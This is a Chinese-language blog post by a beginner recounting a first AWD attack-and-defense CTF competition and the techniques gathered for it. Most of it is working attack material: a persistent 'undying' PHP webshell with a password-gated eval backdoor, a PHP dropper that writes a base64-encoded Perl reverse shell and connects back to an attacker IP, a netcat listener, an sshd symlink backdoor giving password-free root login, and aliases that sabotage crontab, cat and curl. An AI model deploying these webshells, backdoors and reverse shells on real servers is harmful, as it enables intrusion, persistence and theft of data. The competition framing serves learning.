赛前

记录一下,菜鸟第一次打AWD的经历,可能会对跟我一样的小白们有些帮助。
比赛之前,先记录一下学的东西。感谢(@Sn0w)学长搭建的AWD靶场给我们。
基础知识网上有好多,就不写了。

不死马的利用与删除

首先学习的就是不死马,因为它比较经典吧。

密码为md5加密过的为m0re666,然后传参。
假设已经传上不死马。
首先,利用方式为,先访问一下,一般是upload文件夹有上传权限,所以一般放这里
访问http://xxx.xxx.xxx.xxx:/upload/header.php
访问执行后,不死马开始起作用了,直接访问http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system(‘cat /flag’);
得到flag。因为是不死马,所以可以一直使用这个点来得分,不过现在不死马已人尽皆知,恐怕只能拿一轮分数就会被杀了。

变种不死马

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';
while (1){
    file_put_contents($file,$code);
    //system('touch -m -d "2018-12-01 09:10:12" .login.php');
    file_put_contents($file1,$code);
    usleep(5000);
}
?>
#passwd=m0re666&m0re=system('cat /flag');

这个变种的,它的不同点在文件名,是-开头的,这里介绍一下这个比较骚的知识点。
-开头的文件名,因为在Linux命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。可以在自己服务器上开docker进行尝试。

杀不死马

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

条件竞争杀不死马

#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh

具体的其他杀不死马的方式还有很多,不列举了。

反弹shell

<?php
	function which($pr)	{
		$path = execute("which $pr");
		return ($path ? $path : $pr);
	}
	function execute($cfe) {
		$res = '';
		if ($cfe) {
			if(function_exists('exec')) {
				@exec($cfe,$res);
				$res = join("\n",$res);
			}
			elseif (function_exists('shell_exec')) {
				$res = @shell_exec($cfe);
			}
			elseif (function_exists('system')) {
				@ob_start();
				@system($cfe);
				$res = @ob_get_contents();
				@ob_end_clean();
			}
			elseif (function_exists('passthru')) {
				@ob_start();
				@passthru($cfe);
				$res = @ob_get_contents();
				@ob_end_clean();
			}
			elseif (@is_resource($f = @popen($cfe, "r"))) {
				$res = '';
				while(!@feof($f)) {
					$res .= @fread($f,1024);
				}
				@pclose($f);
			}
		}
		return $res;
	}
	function cf($fname, $text) {
		if($fp = @fopen($fname, 'w')) {
			@fputs($fp, @base64_decode($text));
			@fclose($fp);
		}
	}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

使用方法也是很简单,将shell文件上传至可访问的地方
开启nc监听

nc -l -vv [port]#这里是1024,可以自己设置

然后访问该文件,就成功反弹shell
效果如下:

然后记个小tip:美化终端,不过还是别花时间做这个了,虽然就一条命令。

python -c "import pty; pty.spawn('/bin/bash')"


小 Trick: 使用 find / -name *flag* 或 grep -rn "flag" * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

软链接

可以创建个软链接,链接到根目录下flag

ln -s /flag /var/www/html/upload/footer.js

这个有两种方式,一种是直接使用,在他们还没来得及挂流量监控和文件监控的时候,赶快使用这条命令,直接在可以写入的upload文件夹下创建软链接。写成这样,不会有太多人去怀疑这个点。
然后直接cat upload文件夹下的footer.js就可以得到flag
也可以直接访问upload/footer.js得到flag如下:

第二种利用方式,批量!!!前提是对方开启监控,怕被删怎么办,就直接批量写,到处写垃圾文件,让他们删不过来。而我们知道这个flag链接的文件是哪个,就可以持续得分。但是,没有尝试,因为自己服务器有点小。

ssh免密登录(未尝试)

在终端执行此命令,然后可以实现ssh免密登陆

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

连接:ssh root@x.x.x.x -p 5555
密码随意。

其他

alias命令,命令文档。

怎么说,就是看利用方式

root权限怎么会没权限?别人进来也无法cat到flag,当然还可以使用其他办法查看。
还有就是改定时任务,别人看不了我们的定时任务。可以尝试改别人的。前提是有权限之后。

crontab -r   
alias crontab="echo no crontab for `whoami` ||"
#返回假的flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"

主机发现

比赛可能会告诉你其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此需要首先利用nmap、httpscan等扫描工具发现其他队伍的IP。
nmap:

nmap –sn 192.168.71.0/24

httpscan

./httpscan.py 10.20.30.0/24 –t 10

修改curl命令

alias curl='echo fuckoff' #权限要求较低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #降权,取消执行权限(权限要求较高)

关闭不必要端口

netstat -napt 查看当前网络连接状态
lsof -i 用以显示符合条件的进程情况
lsof -i:22  查看22端口现在运行什么程序
kill -9 <PID>  杀掉进程
nmap -sV ip地址(-sV参数可以探测目标主机的服务器版本)

批量提交flag的脚本,可以进行百度,找一些脚本自己根据比赛场景进行修改。

赛后

吐槽:真的就是赛前疯狂搜集各种脚本姿势。比赛时没有用上多少。emmmmm,怎么说就是感觉没什么可以记录的了。这个比赛已经被喷了,人学校酒店挺好的,住着很舒服。关于比赛的就不再记录了。就记一下学习的内容。

赛题复现

dump下来html源码,使用D盾扫描

发现后门就立刻上传自己的不死马。然后激活并进行维权。相信百度上能找到很多简单维权的办法。还有搅屎的。比如fock炸弹等……
接下来就是Seay源码审计系统,进行代码审计,笔者比较菜,所以就只说怎么做。

然后根据漏洞进行验证就可以了。

总结

AWD的话,我是负责攻击,防御交给队友,其实面对新手的小型比赛,重点就是D盾扫描,快速找到后门,然后批量上马,批量上马是有时间改脚本的,这次比赛,过程很懵,我以为不同队伍是C段不同而已,结果是==emmmm,估计是开的docker,服了。
如果,批量没实现,就尝试一个个的传马吧。不过最后可能是有几个能拿分的。最重要的一点就是,别被别人骑到自己的马了。emmm,目前我收集到的东西就这么多,比较适合盲目百度而不知道从何下手的新手。请师傅们轻点喷。